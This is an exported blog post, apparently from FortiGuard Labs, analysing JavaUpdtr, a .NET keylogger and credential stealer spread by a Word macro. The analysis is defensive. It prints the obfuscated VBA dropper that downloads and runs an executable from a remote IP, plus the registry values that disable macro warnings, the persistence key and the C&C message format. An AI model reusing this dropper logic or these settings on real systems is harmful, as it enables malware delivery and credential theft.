{"id":8189,"date":"2017-06-28T08:40:02","date_gmt":"2017-06-28T16:40:02","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/06\/28\/news-1965\/"},"modified":"2017-06-28T08:40:02","modified_gmt":"2017-06-28T16:40:02","slug":"news-1965","status":"publish","type":"post","link":"https:\/\/www.palada.net\/index.php\/2017\/06\/28\/news-1965\/","title":{"rendered":"In-Depth Analysis of .NET Malware JavaUpdtr"},"content":{"rendered":"

Credit to Author: Xiaopeng Zhang| Date: Wed, 28 Jun 2017 16:15:52 +0000<\/strong><\/p>\n

\n

Background<\/h2>\n

FortiGuard Labs recently captured some malware which was developed using the Microsoft .Net framework. I analyzed one of them, and in this blog, I’m going to show you how it is able to steal information from a victim’s machine.<\/p>\n

The malware was spread via a Microsoft Word document that contained an auto-executable malicious VBA Macro. Figure 1 below shows how it looks when it’s opened.<\/p>\n

\"\"<\/p>\n

Figure 1. When the malicious Word document is opened<\/p>\n

What the VBA code does<\/h3>\n

Once you click the “Enable Content” button, the malicious VBA Macro is executed covertly in the background. The code first writes some key values into the device’s system registry to avoid the Macro security warning when opening Word documents with risky content the next time.  <\/p>\n

Here are the key values it writes into system registry:<\/p>\n

\n

HKCUSoftwareMicrosoftOffice{word version}WordSecurity,AccessVBOM, dword, 1<\/em><\/p>\n

HKCUSoftwareMicrosoftOffice{word version}WordSecurity,VBAWarning, dword, 1<\/em><\/p>\n<\/blockquote>\n

\"\"<\/p>\n

Figure 2. Writing two key values into the system registry<\/p>\n

Once that task is completed, it re-opens this Word document in a new Word program instance and exits. The Macro is executed again, but this time it follows a different code branch. The main purpose of the Macro executed in the new Word program instance is to dynamically extract a new VBA function (ljRIpdKkSmQPMbnLdh<\/em>) and get it called.<\/p>\n

Let’s take a look at this function:<\/p>\n

\n
  Sub ljRIpdKkSmQPMbnLdh<\/em><\/strong>()<\/em>        Dim dmvAQJch As String<\/em>        Dim JWyaIoTHtZaFG As String<\/em>        Dim TrbaApjsFydVkOGwjnzkpOB As String<\/em>        dmvAQJch = CreateObject<\/span>(ThisDocument.bQYHDG("66627281787F833D6277747B7B", <\/em>    15)).ExpandEnvironmentStrings(ThisDocument.bQYHDG("3463747C7F34", 15))<\/em>        JWyaIoTHtZaFG = ThisDocument.bQYHDG("6B", 15)<\/em>        TrbaApjsFydVkOGwjnzkpOB = ThisDocument.bQYHDG("797085823D748774", 15)<\/em>        dmvAQJch = dmvAQJch + JWyaIoTHtZaFG + TrbaApjsFydVkOGwjnzkpOB<\/em>        Dim cllbWRRTqqWoZebEpYdGmnPBLAx As String<\/em>        cllbWRRTqqWoZebEpYdGmnPBLAx = ThisDocument.bQYHDG("7783837F493E3E43443D46463D42443D4142483E403E837E7370883D748774", <\/em>    15)<\/em>        Dim OhYBGFWMcPWNnpvvuTeitVAK As Object<\/em>        Set OhYBGFWMcPWNnpvvuTeitVAK = <\/em>    CreateObject<\/span>(ThisDocument.bQYHDG("5C7872817E827E75833D675C5B5763635F", 15))<\/em>        OhYBGFWMcPWNnpvvuTeitVAK.Open ThisDocument.bQYHDG("565463", 15), cllbWRRTqqWoZebEpYdGmnPBLAx, False<\/em>        OhYBGFWMcPWNnpvvuTeitVAK.send<\/span><\/em>          If OhYBGFWMcPWNnpvvuTeitVAK.Status = 200 Then<\/em>            Dim BIPvJqwtceisuIuipCzbpsWRuhRwp As Object<\/em>            Set BIPvJqwtceisuIuipCzbpsWRuhRwp = <\/em>    CreateObject(ThisDocument.bQYHDG("50535E53513D62838174707C", 15))<\/em>            BIPvJqwtceisuIuipCzbpsWRuhRwp.Open<\/em>            BIPvJqwtceisuIuipCzbpsWRuhRwp.Type = 1<\/em>            BIPvJqwtceisuIuipCzbpsWRuhRwp.Write OhYBGFWMcPWNnpvvuTeitVAK.responseBody<\/span><\/em>            BIPvJqwtceisuIuipCzbpsWRuhRwp.SaveToFile<\/span> dmvAQJch, 2<\/em>            BIPvJqwtceisuIuipCzbpsWRuhRwp.Close<\/em>        End If<\/em>        If Len(Dir(dmvAQJch)) <> 0 Then<\/em>            Dim TGoCeWgrszAukk<\/em>            TGoCeWgrszAukk = Shell<\/span>(dmvAQJch, 0)<\/em>        End If<\/em>    End Sub<\/em><\/strong><\/pre>\n<\/blockquote>\n
All key words in this function are encoded. Here they are after decoding:<\/p>\n
\n
  bQYHDG("66627281787F833D6277747B7B", 15) => <\/em>“WScript.Shell<\/span>”    bQYHDG("3463747C7F34", 15) => <\/em>“%Temp%”<\/span>    bQYHDG("797085823D748774", 15) => “javs.exe”    bQYHDG("7783837F493E3E43443D46463D42443D4142483E403E837E7370883D748774", 15) => “hxxp:\/\/45.77.35.239\/1\/today.exe”<\/span>    bQYHDG("5C7872817E827E75833D675C5B5763635F", 15) => <\/em>“Microsoft.XMLHTTP”<\/span>    bQYHDG("565463", 15) => <\/em>“Get”<\/span><\/pre>\n<\/blockquote>\n
As you may have realized from the highlighted keywords, this malware is designed to download an executable file and run it by calling the “Shell” function. Indeed, it downloads the file “today.exe” to “%Temp%javs.exe”, and runs it.<\/p>\n
The downloaded exe file<\/h3>\n
\"\"<\/p>\n
Figure 3. Detailed information of the downloaded javs.exe file<\/p>\n
From the analysis result of the PE analysis tool in Figure 3, we know that the downloaded “javs.exe” was built with .Net Framework. Looking at its icon, it is easy to assume that this is a pdf related file. But it’s not. This is simply a deception used to confuse the victim.<\/p>\n
Once executed, it starts another process by calling the function CreateProcessA with the CREATE_SUSPENDED flag. This procedure could allow the memory of the second process to be modified by calling the function WriteProcessMemory. Finally, the process is restored to run by calling the functions SetThreadContext and ResumeThread.<\/p>\n
Figure 4, below, shows how CreateProcessA is called.<\/p>\n
\"\"<\/p>\n
Figure 4. javs.exe calls CreateProcessA<\/p>\n
Through my analysis, I was able to determine that the data being injected into the second process by calling WriteProcessMemory is another executable file. This file was decoded from a BMP resource in the first javs.exe process. Interestingly, the injected executable was also built with .Net framework.<\/p>\n
As you may know, the .Net program only contains complied bytecode. This code can only be parsed and executed in its .Net CLR virtual machine. As a result, debugging a .Net program using the usual Ollydbg or Windbg tools is a challenge. So I had to determine which other analysis tools would work.<\/p>\n
Analysis of the second .Net program<\/h2>\n
From the above analysis, I was able to determine that the second .Net program had been dynamically decoded from the javs.exe process memory. So the next challenge was capturing its entire data and saving it as an exe file for analysis. To do that, I used the memory tool to dump it directly from the second process memory. Figure 5 shows what the dumped file looks like in the analysis tool.<\/p>\n
\"\"<\/p>\n
Figure 5. Dumped memory file in analysis tool<\/p>\n
The “File is corrupted” warning obviously occurs because the dumped file’s PE header was wrong. I manually repaired the PE header using a sort of unpacking technique.  After that, the dumped file could be recognized, statically analyzed, and debugged. In Figure 6 below, you can see the repaired file was recognized as a .Net assembly, and you even can see .NET Directory information in CFF Explorer.<\/p>\n
\"\"<\/p>\n
Figure 6. Repaired dump file in analysis tool<\/p>\n
The author of the malware used some anti-analysis techniques to prevent it from being analyzed.  For example, obfuscation is used to make the function names and variable names difficult to understand, and encoding is used to hide key words and data so analysts have a hard time understanding what it is trying to do. The repaired .Net program even causes the static analysis tool .NET Reflector to not work because the names of classes, functions, and variables are unreadable. From Figure 7 below, you can see what the code looks like using these techniques.<\/p>\n
\"\"<\/p>\n
Figure 7. The Main function with anti-analysis techniques<\/p>\n
To better analyze the malware, I tried to rename parts of the unreadable names. So please note that in the following analysis the unreadable names in the referred code have been renamed to readable names.<\/p>\n
Ok, at this point we are finally ready to do the analysis.  Let’s get started to see what is going to happen.<\/p>\n
Analysis of the .Net malware<\/h2>\n
Once executed, it goes through the current running processes to kill any duplicate processes found. It then sends “uninstall” and “update” commands to the C&C server. If the response to the “uninstall” command from the server contains an “uninstall” string, it cleans up the information it has written on the victim’s machine and exits. When I ran the malware, no “uninstall” string was contained in the response, so I could proceed with the analysis. The following two Figures show you how the “update” command is sent to the C&C server.<\/p>\n
\"\"<\/p>\n
Figure 8. Sending “update” command to C&C server<\/p>\n
\"\"<\/p>\n
Figure 9. Function used to send data to the C&C server<\/p>\n
From Figure 9, we learn that the URL of the C&C server is “hxxp:\/\/www.vacanzaimmobiliare.it\/testla\/WebPanel\/post.php”, which was decrypted in the “SendToCCServer” function. The HTTP method is “POST”, which was also decrypted.<\/p>\n
Next, it copies itself from “%temp%javs.exe” to “%appdata%JavaJavaUpdtr.exe”. In this way it disguises itself by looking like an update program for Java. It then writes the full path into the value "SoftwareMicrosoftWindows NTCurrentVersionWindowsload" in the system registry so that “JavaUpdtr.exe” can be executed automatically when the system starts.<\/p>\n
The code snippet below shows us how the full path to “JavaUpdtr.exe” is defined.<\/p>\n
\n
  private static string<\/span> appdata_Java_JavaUpdtr.exe = Environment.GetEnvironmentVariable("appdata<\/span>") + "\\Java\\JavaUpdtr.exe<\/span>";<\/em><\/pre>\n<\/blockquote>\n
This malware can record the victim’s keyboard inputs, steal data from the system clipboard when its content changes, capture screenshots of the victim’s system screen, and collect credentials from installed software that the malware is interested in. To complete these tasks, it creates a variety of threads and timers.<\/p>\n
In the following sections I’ll discuss them in detail.<\/p>\n
Stealing keyboard inputs, system clipboard contents, and screen shots<\/h2>\n
Before the Main function is called, three hook objects are defined in the construction function of the main class. These are used for hooking the Keyboard, Mouse, and Clipboard.  It then sets hook functions for all of them so that when victim inputs something by keyboard, or when the clipboard data is changed (Ctrl+C), the hook functions will be called first. Figure 10 shows part of the hook function of the key down event.<\/p>\n
\"\"<\/p>\n
Figure 10. Key “down” event hook function<\/p>\n
In this function, it first grabs the Window title where the victim types in and puts it into an html code. Next, it captures which key the victim presses, and converts the key code string into an html code. For example, “\"\"". As you can see, the html code is concatenated to the variable “pri_string_saveAllStolenKey_Clipboard_Data<\/em>”. Note: I modified the name to be readable.<\/p>\n
In the hook function for the system clipboard, it goes through a similar process. It captures the clipboard content every time the clipboard content is changed (e.g press Ctrl+C , Ctrl+X, etc.) by calling the function Clipboard.GetText(). It then puts the collected data into an html code, and again concatenates it to the variable “pri_string_saveAllStolenKey_Clipboard_Data<\/em>”. Figure 11 is the code snippet of this function.<\/p>\n
\"\"<\/p>\n
Figure 11. Clipboard change event hook function<\/p>\n
It also creates a timer whose function is called every 10 minutes.  In the timer function, it captures screenshots of the victim’s screen and then uses the API “Graphics::CopyFromScreen<\/em>” to grab the screenshots and saves them into the file “%appdata%ScreenShotscreen.jpeg”. It later encodes the file screen.jpeg with base64 and then sends it to its C&C server using the command “screenshots”.<\/p>\n
It keeps taking screenshots every 10 minutes and sends them to the C&C server so the malware author can see what the victim is doing. Figure 12 shows the malware sending out a screen.jpeg file by calling the sending function.<\/p>\n
\"\"<\/p>\n
Figure 12. Sending out a screenshot file<\/p>\n
Stealing the credentials of installed software<\/h2>\n
At the end of the Main function, it creates another thread whose function is to collect credentials from a variety of software on the victim’s machine. It can collect user credentials from the system registry, local profile files, SQLite database files, and so on. Once it has captured the credentials of one the software packages it is looking for, it immediately sends it to the C&C server. One HTTP packet contains the credentials of one software package.<\/p>\n
Based on my analysis, this malware is able to obtain the credentials from the following software.<\/p>\n
Browser clients:<\/h3>\n
Google Chrome, Mozilla  Firefox, Opera, Yandex, Microsoft IE, Apple Safari, SeaMonkey, ComodoDragon, FlockBrowser, CoolNovo, SRWareIron, UC browser, Torch Browser.<\/p>\n
Email clients:<\/h3>\n
Microsoft Office Outlook, Mozilla Thunderbird, Foxmail, Opera Mail, PocoMail, Eudora, TheBat!.<\/p>\n
FTP clients:<\/h3>\n
FileZilla, WS_FTP, WinSCP, CoreFTP, FlashFXP, SmartFTP, FTPCommander.<\/p>\n
Dynamic DNS:<\/h3>\n
DynDNS, No-IP.<\/p>\n
Video chatting:<\/strong><\/h3>\n
Paltalk, Pidgin.<\/p>\n
Download management:<\/h3>\n
Internet Download Manager, JDownloader.<\/p>\n
In my test environment, I installed Microsoft Office Outlook with a Gmail account. Figure 13 shows what Outlook data is sent to the C&C server.<\/p>\n
\"\"<\/p>\n
Figure 13. Sending the captured credentials of Microsoft Office Outlook<\/p>\n
C&C command format<\/h2>\n
Below is the C&C command format string.<\/p>\n
"type={0}&hwid={1}&time={2}&pcname={3}&logdata={4}&screen={5}&ipadd={6}&wbscreen={7}&client={8}&link={9}&username={10}&password={11}&screen_name={12}"<\/p>\n
Next, I will explain the meaning of each field.<\/p>\n
 "type" holds the command name; "hwid" is the hardware id; "time" is the current date and time; "pcname" consists of the user name and computer name; "logdata" consists of key log and clipboard data; "screen" is base64 encoded screen.jpeg file content; "ipadd" is not used; "wbscreen" consists of picture content from the camera; "client" is the name of the software; "link" is the software’s website; "username" is the logon user name; "password" is the logon password; "screen_name" is not used .<\/p>\n
In the table below, all the C&C commands (type field) that the malware supports are listed.<\/p>\n
  Other features<\/h2>\n
Through my analysis I was able to determine that this is a spyware designed to collects a victim’s system information, and continually record the victim’s keyboard inputs, changes to the system clipboard, as well as capture the credentials of a number of popular software tools.  Finally, it sends all the collected data to its C&C server.<\/p>\n
However, by carefully going through the decompiled *.cs files, I was able to discover some additional features built into this malware that are not currently used. They include:<\/p>\n